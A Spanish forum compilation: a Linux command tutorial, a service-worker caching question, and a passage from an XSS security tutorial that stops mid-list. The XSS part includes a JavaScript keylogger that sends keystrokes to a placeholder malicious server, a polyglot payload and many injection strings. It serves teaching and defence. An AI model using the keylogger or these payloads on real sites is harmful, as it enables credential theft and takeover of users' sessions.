Este comando son las siglas de print working directory (en español mostrar directorio actual). Nos sirve para conocer la carpeta en la que estamos actualmente. En mi caso al escribir el comando, me sale: /home
En Linux Ubuntu (Así como otros Linux con interfaz gráfica) si haaces click derecho en una carpeta te saldrá la opción de "open terminal here" que te abrirá la terminal en la carpeta en la que estás.

$ ls
Este comando permite listar (mostrar la lista) los archivos de la carpeta en la que estás actualmente.
Por ejemplo si estás en /home te saldrá una lista de los archivos que tienes en /home.

$ cd
Este comando te deja cambiar el directorio actual. Tienes que añadir en el comando el directorio al que entrar. Por ejemplo si tienes una carpeta llamada Tutoriales dentro de /home y estás en /home, podrás entrar en la carpeta con el comando $ cd Tutoriales
Si vuelves a utilizar $ pwd verás que ahora estás en /home/Tutoriales. Para volver a la carpeta anterior puedes usar $ cd ../
Si te pierdes por las rutas(carpetas), hay un símbolo especial para ir siempre a /home sin importar donde estés actualmente. $ cd ~

$ mkdir
El comando mkdir (make directory) sirve para crear una nueva carpeta como subdirectorio de la carpeta actual donde te encuentras. Puedes irte a home, crear la carpeta Tutoriales en /home y listar los archivos dentro de home para confirmar que la carpera existe.
$ cd ~
$ mkdir Tutoriales
$ ls


$ apt-get
El comando apt-get te permite instalar y desintalar programas/comandos nuevos. El editor de texto en consola vim es de los mas potentes. Para instalarlo $ apt-get install vim
Si te pide confirmación escribe y (i griega) y presiona enter.

$ vim miArchivo.txt
Con el comando vim miArchivo.txt se creará un nuevo archivo de texto en la ruta actual y se abrirá el editor de texto en modo lectura. Antes de hacer nada más, abajo del todo puedes leer "miArchivo.txt" [New File]. Para entrar en modo escritura pulsa la tecla i
Entonces cambiará el texto a -- INSERT -- indicando que estas en modo escritura y puedes insertar texto en el archivo.
Prueba a escribir Este texto está dentro de miArchivo.txt
Una vez acabas de escribir presionas la tecla ESC para salir del modo escritura. Ahora para guardar los cambios y salir escribes :x
Presionas enter y ya vuelves a donde estabas, con el archivo creado. Si no quieres guardar los cambios puedes escribir :q! en lugar de :x

$ cat
El comando cat sirve para poder ver en la consola el contenido de un archivo. Prueba a hacer cat de algún archivo que tengas en wl directorio actual o alade la ruta al argumento. $ cat miArchivo.txt

$ cp
El comando cp (copy) sirve para copiar y pegar un archivo. El primer argumento es el archivo que quieres copiar y el segundo el nombre que quieres que tenga el archivo pegado.
Creaste el archivo miArchivo.txt asique puedes escribir $ ls para ver si te sale en la carpeta actual. Si estabas en /home, puedes copiarlo también a Tutoriales. $ cp miArchivo.txt /Tutoriales/copiaDeMiArchivo.txt
Si ahora te mueves dentro de la carpeta Tutoriales y utilizas el comando ls, podrás ver el archivo creado.

$ rm
El comando rm (remove) sirve para eliminar un archivo. Usa $ ls para listar los ficheros que tienes, así sabes el nombre exacto. La tecla TAB sirve para que la consola te autocomplete el comando. Por ejemplo el archivo copiaDeMiArchivo.txt tiene un nombre bastante largo. Como es un nombre único puedes escribir $ rm copi y presionar TAB para que la consola te ponga todo el nombre del archivo.

$ mv
El comando mv (move) funciona exactamente de la misma forma que $ cp pero en lugar de copiar el archivo lo mueve.

$ touch
El comando touch sirve para crear un archivo vacio.
$ touch archivoVacio

$ clear
El comando clear limpia la pantalla.

$ man
El comando man sirve para ver todas las opciones de cualquier comando. Por ejemplo, si quieres ver para que sirve el comando ls y todas las opciones que tiene, puedes usar $ man ls. Si lees lo que te salen en el manual de ls, verás que existe una argumento --full-time te saldrá la fecha de creacción de los archivos. $ ls --full-time
Se mostrará en consola algo tal que:
-rw------- 1 u0_a04 u0_a04 34 2020-12-15 16:58:47.410789029 +0100 miArchivo.txt

-rw Son los permisos del archivo (r read lectura) (w write escritura)
u0_a04 es el nombre de mi usuario en el sistema.
2020-12-15 es el año, mes y día de creacción del fichero.
16:58:47:410789029 es la hora en la que se creo el archico.
+0100 es el la zona (+0100 es España Península).

Extra:
- A parte de.poder usar man, los propios comandos suelen traer un argumento para poder ver su manual propio.
Este suele ser --help
$ ls --help

- Puedes navegar por todos los comandos que escribiste usando las flechas del teclado arriba y abajo.






Existen un gran número de comandos con muchísimas opciones. Algunos de ellos suelen venir instalados por defecto en Linux y otros tendras que instalarlos si te interesa usarlos.

$ curl
curl es un cliente de unos 25 protocolos de internet. Uno de los más utilizados es el protocolo HTTP, el mismo que utilizan los navegadores como Chrome o Mozilla para solicitar y recibir páginas web, imagenes, etc.
Si no conoces el protocolo, el uso basico del comando será escribir $ curl https://example.com para ver el código de la página. Si no entiendes html, algunas páginas traen apis para poder ver ciertas acciones de forma muy sencilla. Si ir mas lejos el propio foro tiene este tipo de funcionalidad:
$ curl https://foro.elhacker.net/SSI.php?ssi_function=whosOnline
El comando tiene muchísima funcionalidad, por ejemplo podrías descargar una imagen (o cualquier otro archivo) con el argumento -o $ curl https://foro.elhacker.net/Themes/converted/selogo.jpg -o selogo.jpg

$ chmod
chmod sirve para cambiar los permisos de un archivo. Si por ejemolo te descargas un programa, lo compilas a partir de código o lo haces tú, podras darle permisos con $ chmod +775 nombrePrograma.

$ tree
El comando tree muestra todo los subdirectorios y archivos de forma gerárgica. Un ejemplo de la salida en consola de hacer tree a mi carpeta home.
$ tree ~
.
├── Myszkowski.py
├── Tutoriales
│   └── miArchivo.txt
├── alb
├── deleteMe
│   └── album.py
├── exploitdb.txt
├── installed.txt
├── maInstalled.txt
├── req
├── request
└── storage
    ├── dcim -> /storage/emulated/0/DCIM
    ├── downloads -> /storage/emulated/0/Download
    ├── external-1 -> /storage/445A-5BC1/Android/data/com.termux/files
    ├── movies -> /storage/emulated/0/Movies
    ├── music -> /storage/emulated/0/Music
    ├── pictures -> /storage/emulated/0/Pictures
    └── shared -> /storage/emulated/0

10 directories, 9 files

tree no suele venir instalado asique debes instalarlo con $ apt-get install tree

$ nmap
Nmap es uno de los scanneres de redes más popular. Nos sirve para averiguar que servicios están disponibles en una red. No viene preinstalado pero es muy útil y al descargarlo también incluye otro comando llamado ncat para comunicarte por la red o establecer servicios. Como siempre instálalo con $ apt-get install nmap

Por ejemplo si utilizas el comando $ nmap google.com obtendras una salida tal que:
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 19:26 CET
Nmap scan report for google.com (216.58.201.174)
Host is up (0.11s latency).
Other addresses for google.com (not scanned): 2a00:1450:4003:802::200e
rDNS record for 216.58.201.174: mad08s06-in-f14.1e100.net
Not shown: 998 filtered ports
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 114.64 seconds

Como ves a parte de mostrar la IPv4, la IPv6 y un dominio que resuelve a la ip, muestra los puertos abiertos. En este caso en concreto está el puerto 80 abierto (El servicio que te responde la web de google usando HTTP) y el puerto 443 (El mismo servicio que el 80 pero establece una capa de cifrado sobre http (https))
Son los servicios que usa Chrome cuando escribes http://google.com y https://google.com respectivamente.
A parte de estos servicios hay un montón más como pueda ser un servidor de correos, un vpn, un proxy, un ftp, un ssh, un dns...

$ ncat
Ncat es la herramienta rey para escribir datos a través de todo tipo de redes. Con esta herramienta puedes obtener o enviar una página web, subir o descargar archivos entre equipos, hacer chats... En el apartado de pipes/tuberias de este tutorial se verá su uso, ya que el uso de pipes es prácticamente impresindible.

$ df
df (disk free) muestra información sobre el espacio en todos los sistemas de ficheros de Linux.

$ free
free muestra información sobre la cantidad de memoria RAM disponible y también información del pagefile (archico que utiliza el sistema cuando no queda RAM). Con el argumento -m se muestra en megabytes.

$ ps
ps muestra los procesos activos. PID es un numero para que podamos identificar el proceso. TTY es un identificador de la consola en la que está funcionando el comando. TIME es el tiempo que lleva abierto el proceso. CMD es el nombre del ejecutable o comando que abrió el proceso. Uno de los argumentos mas útiles es -a para mostrar todos los procesos.

$ kill
kill sirve para matar un proceso activo usando su PID. Por ejemplo si tiene vim abierto y se quedó congelado por un error, podrías cerrarlo listando el proceso con ps y usando el comando $ kill 2277 donde 2277 es el PID que mostró ps.

$ uname
uname muestras diversa información sobre el sistema. Procesador, arquitectura, fecha...

$ top
Muestra información sobre tareas, procesos, recursos...
*Algunos comandos se mantienen abiertos. Puedes cerrar este tipo de comandos usando la combinación de teclas control + C o si no funciona, control + D.

$ ifconfig
Muestra las interfaces de red del sistema.





Bash es un lenguaje de programación/scripting simple recomendado para hacer tareas muy simples y rápidas, sobre todo para arrancar programas con configuraciones específicas, hacer pequelas utilidades, etc.
El lenguaje funciona directamente sobre la terminal como si de un comando se tratase, o se puede guardar en un archivo.
El programa más sencillo de bash, sería un programa que diga hola. $ echo "Hola!"
No muy útil, pero puedes guardar información en variables.
$ nombre=Manolo; echo "Hola $nombre";
Combinando algunos de los comandos anteriores con bash, puedes pir ejemplo guardar tu ip en una variable.
$ ip=$(curl http://ipv4bot.whatismyipaddress.com/)
Ahora podrás ver la ip guardada a partir de ahora con $ echo $ip o añadirle un texto: $ echo "Tu ip pública es:$ip"A partir de ahora podrás usar la variable en todos tus programas y comandos donde lo necesites.
Como ves, cuando curl no muestra la información directamente en consola, en su lugar te muestra un progreso. Lo puedes ocultar añadiéndole un argumento:
$ ip=$(curl http://ipv4bot.whatismyipaddress.com/ --silent); echo $ip
Puedes meter varios comandos o lineas de bash separándolas por punto y coma.
Puede que queramos guardar y ejecutar un comando/instrucción, o una serie de comandos (programa) de forma sencilla y sin tener rescribirlos todos. Podemos usar vim para guardarlos. Vamos a hacer una utilidad sencilla que nos muestre la ip actual.
Los comandos y utilidades que hemos estado usando, apt-get install se encargó de meterlas en una carpeta en la ruta bin/ asique podemos movernos ahí, crear nuestro programa y darle permisos. $ cd ~/../usr/bin/; vim miIp; chmod +775 miIp
Presionamos i para escribir en el nuevo archivo. En la primera linea añadiremos un shebang. Esta es una linea para indicar que las instrucciones de este archivo van a correr en el intérprete de bash. #!/bin/bash
En las siguientes lineas podemos añadir comandos e instrucciones como si se tratase de la terminal:
curl http://ipv4bot.whatismyipaddress.com --silent
echo ""
Guardas el archivo con la secuencia ESC :x
El echo "" sirve para hacer un salto de línea tras que curl imprima la ip.
Ya puedes usar este nuevo comando cuando quieras y desde donde quieras escribiendo $ miIp
Usa $ ls para ver todos los comandos que tienes instalados en bin
Tienes mas funcionalidad de bash en el siguiente enlace:
https://zhenye-na.github.io/2018/10/10/learn-shell-scripts-in-15-min.html
Es un buen lenguaje para tareas muy sencillas y básicas. Si buscas algo mas eficiente, sencillo y completo tienes una amplia varieadad de lenguajes de programación.v






Las tuberías nos permiten redirigir la salida de los comandos y/o sus errores a la entrada de otros comandos. Existen varios caracteres que sirven para conectar comandos.
Un ejemplo de los más básicos es enviar la salida de un comando a un archivo. $ miIp > miIp.txt
Con > se envia la salida del comando a un nuevo archivo. Si el archivo ya existia se elimina. Si no existía se crea.
Si en lugar de borrar el archivo, quieres añadirle la salida del comando puedes usar >>. $ echo "Mi ip es " >> miIp.txt; miIp >> miIp.txt;
También puedes usar < y << para meter input a tu comando de otro lado, por ejemplo de un archivo.
Cuando usamos los comandos separados por ; se ejecutan de forma independiente. Esto nos podría generar un problema si por ejemplo corres un comando que depende de que el anterior funcionase. Para eso puedes separalos por && en lugar de ;
Otro carcater muy útil es | que sirve para pasar el output entre comandos. Existen múltiples utilidades diseñadas para trabajar con el |. Algunas de ellas:

grep
Este comando permite filtrar la salida de otro comando. Por ejemplo imagínate visitas mi página web y ves que el servidor va muy rápido y te interesa saber que servidor uso. $ curl https://stringmanolo.ga --silent -I | grep -i SERVER
La opción -I de curl es para ver las cabeceras que manda el servidor. La opción -i de grep es para hacer la búsqueda case-insensitive. Esto siginifica que se mostratan todas las líneas que tengan la palabra server independientemente de si server empieza por mayúsculas o no.

less
Este comando te permite abrir la salida del comando como si fuese un archivo. Es útil para cuando un comando envía más información de la que entra en la consola. $ netstat | less

head
Este es útil para cuando solo te interesa mostrar un numero de lineas. Por defecto solo muestra las primera 10, pero puedes cambiarlo con el argumento -n o tambien con el argumento -c el numero de caracteres de la línea. Por ejemplo si quisieses comprobar si alguien ha escrito algo nuevo en la sección de hardware. $ curl https://foro.elhacker.net/SSI.php?ssi_function=recentPosts --silent | grep -i hardware/ | head -n 1

tail
Hace los mismo que head, pero funciona de abajo hacia arriba, es decir muestra los últimos 10 en lugar de los primeros 10.

wc
wc muestra las lineas, palabras o caracteres que se le pasen. Si lo utilizas sin argumentos te mostrará las 3 cosas. Pudes añadirle -l -w o -c para que solo muestra las letras, palabras o caracteres respectivamente. $ echo "Hola qué tal?" | wc
#15
Me surge un problema raro. A ver si teneis idea.

Tengo una función que cachea todos los archivos de la web.

Le añadí un parámetro TTL (Time To Live) para poder indicarle cuando tiempo se quiere que el caché esté activo.

Lo que hago es guardar la fecha (en localStorage)  actual en segundos y sumarle el TTL.

Entonces comparo la fecha actual con la fecha guardada en localStorage para saber si el caché expiró.

El problema surge que una vez que cacheo en el navegador los archivos de la web, la comprobación no se ejecuta. De ejecutarse, se vería que ya pasó el tiempo indicado en TTL en milisegundos (le puse 100000 que equivale a minuto y medio). Y al pasar ese tiempo el código borra el cache y resetea el localStorage para que en la siguiente carga se vuelve a cachear todo de nuevo. (Mi intención es que el caché se renueve tras el tiempo pasado por si existen nuevos cambios.)

Está aquí live:
https://fastframework.stringmanolo.ga/dev/index.html

A ver si teneis idea. Una vez cacheado no muestra el mensaje.

Aquí se hace la llamada con el nombre del ServiceWorker y el tiempo que quiero cachear en segundos:
https://github.com/StringManolo/ff/blob/master/dev/main.js#L205

Nada más ejecutarse la llamada debería correr el alert en esta línea:
https://github.com/StringManolo/ff/blob/master/dev/ff.js#L46
Pero no salta el alert una vez cacheada la web.

Resumiendo: Tras la segunda vez que cargas la web debería mostrar el alert que está en las primeras lineas de main.js y no lo muestra. Pero si funciona la web. Wtf?
Si es culpa de los service workers(diría que no porque corren en otro hilo, no en el mismo que el main.js) probé también comentando todos los alerts y sigue sin ir.

Tengo un script en main.js que funciona sin cachear la web, pero con la web cacheada no me funciona el script que comprueba si ya pasó el tiempo que debería estar en caché (y por tanto borrarla)

Asique el problema que tengo es que no puedo borrar el caché del navegador desde la última linea de código de main.js que llamada a iniciar el caché.
En ff.js es cuando debería eliminarse el caché y poner localStorage.cacheTTL = 0; pero este script no va y ni idea de porque no.


SOLUCIÓN: Borrar "bien" el caché del navegador, localStorage y quitar del registro el ServoceWorker.

Habilitar CORS para que se puedan fechear los archivos a cachear en el propio dominio.
#16
Security Series por StringManolo.

CAPITULO 1: XSS.

0. Previo:
Cross Site Scripting consiste en la inyección de código javascript en una página web para vulnerar su seguridad. En estas series pretendo mostrar varias formas de explotación de fallos de seguridad, a buscarlos, redactar reportes, construir pruebas de concepto y sobre todo que todos podamos aprender algo nuevo.

  • Para aprovechar el primer capítulo de estas series debes tener conocimientos básicos-intermedios de las tecnologías web básicas.
    Como mínimo HTML, javascript y el protocolo HTTP.
    Altamente recomendado tener nociones de DNS y servidores web...
    Si no tienes la mayoría de conocimientos citados pero estás interesado en adquirirlos te recomiendo:
    Buscar y preguntar por el foro.
    Los cursos/tutoriales de w3schools sobre html, javascript y php.
    Montarte un LAMP para subir tu web, hacerla pública y capturar las peticiones http. Jugar con ellas, mirarte un poco el tema...

  • No quiero limitarme a cosas básicas, pero tampoco entrar de golpe con cosas complejas. Si eres un usuario avanzado te recomiendo echar un ojo y enganchar con las cosas que no conozcas.

  • El nivel general de este capítulo es básico-intermedio.

  • Se recomienda el uso de Google Chrome última versión (no es estrictamente necesario) .

  • Se recomienda tener un servidor propio para experimentar. (Tampoco es estrictamente necesario) .

  • Estas series se dividen en Capítulos y Secciones. Todas son independientes pero secciones avanzadas seguramente hagan referencia a conceptos explicados anteriormente.

  • La páginas vulnerables que comiencen por el dominio https://stringmanolo.ga/xssSeries/ las hice yo y teneis permiso para atacarlas directamente y probar lo que querais a mano. Tampoco deberíais tener ningún problema por utilizar scanneres y herramientas similares. Si teneis dudas sobre esto, también es posible descargarse los retos para probarlos en local, ya que están subidos a github.



1. Qué es el XSS?
El XSS (inyección de código javascript en otros sitios) es la inclusión de código javascript en aplicaciones, webs, documentos... con capacidad de interpretarlo.
Ejemplo de un script/codigo javascript, alert("hola") que muestra un mensaje en pantalla.
Adelante pruébalo en una página vulnerable.

En cambio si la página es segura verás que no es vulnerable.

Como puedes comprobar, si la página está mal programada puedes ejecutar código en ella. Qué riesgos implica esto a parte de ver una ventana con un mensaje?

Si existe una vulnerabilidad XSS, se puede inyectar código en la página para que se ejecute en un navegador o en el de miles de usuarios.
Un keylogger (registra las teclas que pulsas durante tu estancia en la web) en javascript se escribe en pocas líneas de código.
Código (javascript) [Seleccionar]
/* Keylogger (Android-IOS support) */
function keylogger() {
 var logs = "Keys:";
 var i = 0;
 window.onkeydown = function(e) {
   if (i++) {
     logs = "Key_Id=" + event.target.value.charAt(event.target.selectionStart -1).charCodeAt() + "KeyChar=" +
               event.target.value.charAt(event.target.selectionStart -1) + "\n\n" ;
     new Image().src = servidorMalicioso + idCliente + "/" + "keylogs=" + logs;
   }
 }
}

Esto implica que si un login es vulnerable a XSS pueden robar tus contraseñas. No solo se aplica a webs clásicas, si no a todo tipo de aplicaciones.
Teniendo presente que la mayoría de sitios webs se alojan en los servidores de las mismas empresas, es una técnica totalmente transparente para un usuario normal. No va a observar nada que pueda diferir de lo usual.
Son comunes también redirecciones a publicidad, timos, defacements, denegaciones de servicio...



2. Cómo sé cuando una página es vulnerable?
Existen varias técnicas y depende de las circunstancias.
En el caso de que seas un programador novicio preocupado por la seguridad de tu sitio web. Tu mejor baza es compartir el código en el foro para que te podamos ayudar.
Cabe mención aquí de herramientas como ZAP (aquí online). Si lo vas a usar, hazlo con mi dominio https://stringmanolo.ga. No scannes sitios sin permiso.
Hay escaners de todo tipo. Así como pueden hallar vulnerabilidades que personas no, también pueden pasar por alto puntos de inyección muy obvios. Alguien con alguna experiencia los puede localizar en segundos.
Si estás aprendiendo seguridad no hay nada mejor que introducir el código en la aplicación y analizar el código fuente usando la función inspeccionar elemento usando el navegador.
En sistemas Android, se puede observar el código fuente precediendo con view-source: la dirección; y/o utilizando javascript: seguido de código javascript.
Para verificar el fallo de seguridad se introduce un alert() debido a que es fácil identificar la inyección de código al mostrarse el mensaje indicado en pantalla. Cabe la posibilidad de que en el propio código de la página esten desabilitados.
Es este tu caso? Prueba a escribir a mano javascript:alert(); sobre la barra de direcciones. Si no funciona, puedes modificar el código de la página con el código inyectado para demostrar la vulnerabilidad.



3. Qué tipos de XSS existen?
Se distinge entre 3 tipos. Esta manera de distinguir se basa en si los datos proporcionados por el usuario son almacenados en la aplicación, son reflejados o se ejecutan directamente en el cliente.
Yo añado dos tipos más, son estos los que; o bien son modificados por el navegador, o los que se hace uno sobre si mismo (teniendo o no consciencia de ello).



4. Introdución a los tipos de XSS.

  • Stored XSS (inyección javascript almacenada en sitios cruzados).
Es común que las aplicaciones almacenen datos cuyo origen eres tú. Véanse nombre de usuario, correo eléctronico, ubicación...
En el supuesto que consigas introducir código en tu nombre de usuario que el navegador interprete, todos los demás usuarios interpretarán el código en lugar de visualizar tu nombre de usuario. Quedan entonces subvertidos todos los navegadores mientras permanezcan en la página que incluye tu inyección de código.
Observa aquí una simulación de Stored XSS
Puedes explotarlo registrándote con un nombre y añadiendo <svg onload=alert()> como payload que inserta un elemento SVG que mediante el evento onload llama al código javascript abriendo la ventana.

  • Reflected XSS (inyección javascript reflejada en sitios cruzados).
Cuando una página hace una operación y muestra de vuelta la información, es posible conseguir una inyección de javascript reflejada.
Las características principales de este fallo de seguridad son que; este fallo NO se incluye en la página permanentemente y que este fallo se genera como respuesta a una petición/acción que realizas sobre la propia página.
Si no realizas esa acción, no verás tu código javascript en la página. Aqui te ofrezco una simulación de Reflected XSS.
Puedes apreciar que en la URL va incluido #/search?q=<img onerror=confirm() src=nada>. Si haces la búsqueda de <img onerror=confirm() src=nada > en google, verás algo muy similar.
Directamente puedes escribir la búsqueda en la url de la siguiente forma: https://google.com/search?q=<img onerror=confirm() src=nada>. La q después de search es un parámetro http. Cuando el servidor crea el código, refleja(escribe) ese parámetro dentro de la página.
Si no se modifica el parámetro para que no se ejecute el código (google si lo hace) entonces el código es ejecutado.
Si bien el Stored XSS es un fallo que puede afectar a miles de usuarios al incluirse el código inyectado al visitar la página (no requiere que el usuario introduzca código) el reflected también es también peligroso dado que se puede explotar desde una segunda página web rediriguiendo a los usuarios pudiendo dar más control a un hipotético actor malientencionado.
Este fallo no solo se puede explotar mediante una url (usuarlmente petición http con método GET), si no que también se puede explotar utilizando el método POST rediriguiendo al usuario de la aplicación al enviar este un formulario con el código al sitio web vulnerable.

  • DOM XSS (inyección javascript sobre el documento)
Las inyecciones javascript en el DOM son aquellas que se ejecutan directamente sobre la página y no requieren de que un servidor procese, envíe o incluya la inyección.
Incluso a usuarios con nivel intermedio les resulta problemático comprender este tipo de XSS. Todas las páginas vulnerables que has visto hasta ahora, son en realidad DOM XSS. En ningún momento la información que has enviado a las páginas llegó al servidor porque son fallos emulados.
Todo el código que les "enviastes" a sido procesado por código javascript que ya estaba en la página.
En la primera página en la que escribiste alert(), una función llamada eval ejecutó tu código.
En la segunda página vulnerable el código se almacenó en tu navegador, cuando volviste a cargar de nuevo la página, fue el código javascript de la página (no el servidor) el que mete el que incluye código en la página para que el navegador lo ejecute.
En la tercera página vulnerable es el código javascript el que lee la barra de direcciones y mete en la página el la url después del =.
En casos reales de Stored XSS la información se guarda en el servidor y todo el mundo puede verla. Y en el caso real de Reflected XSS es el servidor quien envía el código reflejado.
Como los DOM XSS se ejecutan utilizando el código ya existente de la página sin interacturar con el servidor, son fallos muy peligrosos porque el dueño de la página no tiene forma de registrar lo que pasa. Para aprovechar este fallo es necesario conocer los sink (funciones y propiedades del DOM) que lo permiten. Algunos de los más comunes son innerHTML y outerHTML, eval, location y document.cookie.

  • Self XSS (ejecución de javascript sobre si mismo)
Divido el self xss(inyección a uno mismo) en 2. El self XSS consciente, y el self XSS inducido.
Al realizar un self XSS consciente, tratas de explotar cualquiera de los otros tipos de XSS a través de este. Con un ejemplo se ve mejor. Self XSS. Como puedes ver, cuando vas a esta página te retorna la versión de tu navegador. Esta información no se puede modificar con javascript. Pero si puedes modificarla con un proxy que intercepte las peticiones HTTP o modificando la configuración de tu navegador. Si modificas tu userAgent y lo cambias por código como el del último ejemplo, conseguiras la ejecución de código.
El tema está en que no tienes forma de modificarle esta información a otro usuario a través de código javascript/html. Entonces para que sirve hacerse selfxss consciente? Normalmente no de mucho. Se pueden hacer utilidades para remover atributos como pattern, required, max, etc. Prácticamente lo mismo que con la consola del navegador con el objetivo de facilitar la explotación de otros fallos.
Por el otro lado el selfXSS inducido es una técnica más propia de phishing que de xss. El objetivo de la técnica es engañar a un usuario para que ejecute tu código sobre la página objetivo. Un ejemplo burdo: "Ve a al login de facebook, pon tu usuario y contraseña y ejecuta este código siguiendo estos pasos para poder entrar como administrador y ver los mensajes de los demás usuarios.".
Creo que ambos selfXSS son al menos dignos de mención. El primero para evitar confusiones si se encuentra este fallo en una página y el segundo para poder entender algunas de las limitaciones impuestas sobre la ejecución del pseudo-protocolo javascript: (permite correr javascript sobre la web actual así como explotar otros XSS) .

  • mXSS (mutación de la inyección de javascript)
Es el xss es más raro de ver. Es causado por una mala interpretación del parser del navegador cuando le el código y forma las etiquetas en base a él. Por ejemplo tu podrías estar metiendo un string de html dentro de un script tal que:
Código (javascript) [Seleccionar]
<script>
var miTexto = `Mis etiquetas favoritas son <div> <img> y </script>
Es una pena que no se puedan utilizar todas juntas así:
<div etiquetasFavoritas=</script><img onerror=alert() src= >y</div>>`;
alert(miTexto);
</script>


El navegador cuando cargas la página lo entiende como lo siguiente:
Código (javascript) [Seleccionar]
<script>var miTexto = `Mis etiquetas favoritas son <div> <img> y </script>
Es una pena que no se puedan utilizar todas juntas así:
<div etiquetasFavortias=`></script>
<img onerror="alert()"><div></div>
alert(miTexto);
<script></script></body></html>


Si te fijas, lo que antes era código javascript (en concreto un string) ahora a mutado a ser código html pasando a interpretarse como tal y por tanto permitiendo la ejecución del script.
Este fallo no es un error en la página, ni es culpa del programador de la misma. Si no de una mala interpretación de lo que hay en ella por parte del navegador. La mutación no es exclusiva de javascript a html, si no que puede mutar de css a html, de html a css, etc.




5. Codificaciones, Filtros, firewalls, reglas, políticas...
Ya sabes los tipos de xss que hay. Cómo se previenen?

  • HTML Entities.
Las entidades html son una forma alternativa de representar caracteres peligrosos que previene su ejecución por parte del navegador. Por ejemplo si en tu código html pones &lt; en lugar de < el navegador no interpretara la etiqueta pero los visitantes verán el caracter <. También se puede hacer lo mismo usando los números que representan el caracter en la tabla Ascii. < es &#60; Aquí tienes un programa que hace esta conversión para que no tengas que mirarlos todos. html entities.

  • X-XSS-Protection:
Esta cabecera HTTP enviada por el servidor cuando envía la página, indica al navegador que no carge una página si el propio navegador detecta un ataque XSS. Se puede enviar desde PHP header("X-XSS-Protection: 1; mode=block"); y desde apache
Código (apache) [Seleccionar]
<IfModule mod_headers.c>
Header set X-XSS-Protection "1; mode=block"
</IfModule>


  • Content-Security-Policy:
Esta cabecera HTTP indica cual es el contenido que tu página permite y cual no, así como quien puede. De esta forma si una inyección intenta hacer algo que está bloqueado en las políticas, el navegador lo impedirá.
Código (http) [Seleccionar]
Content-Security-Policy: default-src 'none'; img-src 'self'; object-src 'none'; script-src 'self'; style-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'none'; Aquí tienes un artículo donde se explica exactamente que hace cada directiva. CSP MDN Aquí otro donde se explica de forma generalizada la política con varios examplos de uso común. CSP Google. También debes implementar X-Frame-Options para evitar otra vulnerabilidad muy frecuente que permite secuestro de clicks. XFO MDN

  • WAF se trata de una tecnología (normalmente un servidor) que hace de frontera recibiendo los datos introducidos por los usuarios con el objetivo de detectar ataques y tomar las medidas configuradas. Tras analizar las peticiones, se envían al servidor real.
 




6. Ataques y Técnicas (básicas, intermedias y avanzadas).



  • Básicas:

     • XSS (inyección de javascript en sitios cruzados) ya lo has visto en la sección número 4.

     • HTML injection (inyección de html) es una inyección de código html que no incluye la ejecución de código javascript de ninguna forma.
Un ejemplo básico es la inserción de un formulario apuntando al servidor malicioso donde se le pide al usuario legítimo que introduzca sus credenciales, pensando este que se está comunicando con la página actual.
También son comunes redirecciones a otras páginas, defacements, enlaces de phishing...
FIX: Puedes utilizar htmlEntities sobre el input para evitar que se interpreten las etiquetas. En caso de frontend puede utilizar textnodes o utilizar .innerText
 
     • javascript injection (inyección de javascript) es una técnica que te permite inyectar código javascript para manipular el comportamiento de una página o aplicación.
Un ejemplo sencillo es no perder las vidas en el juego offline del dinosauro de Google Chrome. Se ha echo bastante popular cambiar el código de la función de morir para que no haga nada cuando sea llamado.
Este concepto es aplicable a la seguridad donde se puede manipular el código para obtener resultados no esperados, robo de contraseñas y demás.
Si se están enviando datos a un servidor, pueden estar manipulados.
FIX: El cliente siempre puede ser manipulable por diseño, incluso remplazado completamente sin que el servidor lo notifique. Es por eso que siempre se debe validar toda información proveniente de él en el servidor.
 
     • Inline javascript injection (inyección de javascript en atributos) es una técnica de inyección de javascript comunmente utilizada para conseguir ejecución de javascript en atributos y eventos.
Por ejemplo <a href="javascript:alert('Hola')">Saludar</a>, <svg onload="alert('Hola')"> o <img onerror="alert('Hola')" src= > son solo algunos de las inyecciones utilizando algunos de los parámetros que pueden ejecutar javascript.
FIX: Cuando sea posible debes eliminar todo TU javascript inline y javascript entre etiquetas script. Debes moverlo a un archivo externo. De esta forma puedes aplicar políticas restrictivas que bloquen toda la ejecución de javascript en la página y solo se permite su ejecución desde tus archivos javascript. Lo mismo aplica a css, svg y otras tecnologías que no sean puramente html.
 
     • Alternative Attribute Separation (separación de atributos alternativa) algunos filtros asumen que la única forma posible de separar un atributo de la etiqueta es usar espacios.



  • Intermedias:

     • Políglotas (multilenguaje) son códigos creados con el objetivo de que sean ejecutados en múltiples contextos. Son una herramienta potente para probar a ciegas en aplicaciones que no tengan un sistema que te bloqué la inyección.
     
Código (javascript) [Seleccionar]
javascript:confirm()</xmp></script>'"</option></select></template></embed></noscript></style></textarea></title>'"><svg/onload=confirm()><img src=0 onerror=confirm()><META HTTP-EQUIV="refresh" CONTENT="4;url=data:text/html;base64,PHNjcmlwdD5jb25maXJtKCk8L3NjcmlwdD4=">
     
     Este políglota se ejecuta en un mínimo de 14 contextos distintos. Vamos a ver tanto los payload por separado que han dado origen a este políglota, como los 14 contextos en los que se consigue ejecución de javascript.
     
Código (javascript) [Seleccionar]
<!-- Se rompe el atributo class con "> quedando el svg dentro del div y ejecutándose. -->
<div id="iPoint1" class="{{payload}}"></div>
<!-- Exploit:
"><svg/onload=alert()>
-->

<!-- Se rompe el atributo class con '> quedando el svg dentro del div y ejecutándose. -->
<div id="iPoint2" class='{{payload}}'></div>
<!-- Exploit:
'><svg/onload=alert()>
-->

<!-- Se cierra la etiqueta title pudiendo inyectar el svg fuera de ella. -->
<title id="iPoint3">{{payload}}</title>
<!-- Exploit:
</title><svg/onload=alert()>
-->

<!-- Se cierra la etiqueta textarea quedando el svg fuera del textarea y por tanto pasa de ser texto a html. -->
<textarea id="iPoint4">{{payload}}</textarea>
<!-- Exploit:
</textarea><svg/onload=alert()>
-->

<!-- Se cierra la etiqueta style quedando el svg fuera del style y por tanto pasa de ser código CSS a HTML. -->
<style id="iPoint5">{{payload}}</style>
<!-- Exploit:
</style><svg/onload=alert()>
-->

<!-- Se cierra la etiqueta noscript quedando el svg fuera del noscript y por tanto pudiendo ejecutar inline javascript. -->
<noscript id="iPoint6">{{payload}}</noscript>
<!-- Exploit:
</noscript><svg/onload=alert()>
-->

<!-- Se cierra la etiqueta embed quedando el svg fuera y por tanto se ejecuta el javascript. -->
<embed id="iPoint7">{{payload}}</embed>
<!-- Exploit:
</embed><svg/onload=alert()>
-->

<!-- Se cierra la etiqueta template quedando el svg fuera y por tanto se ejecuta el javascript. -->
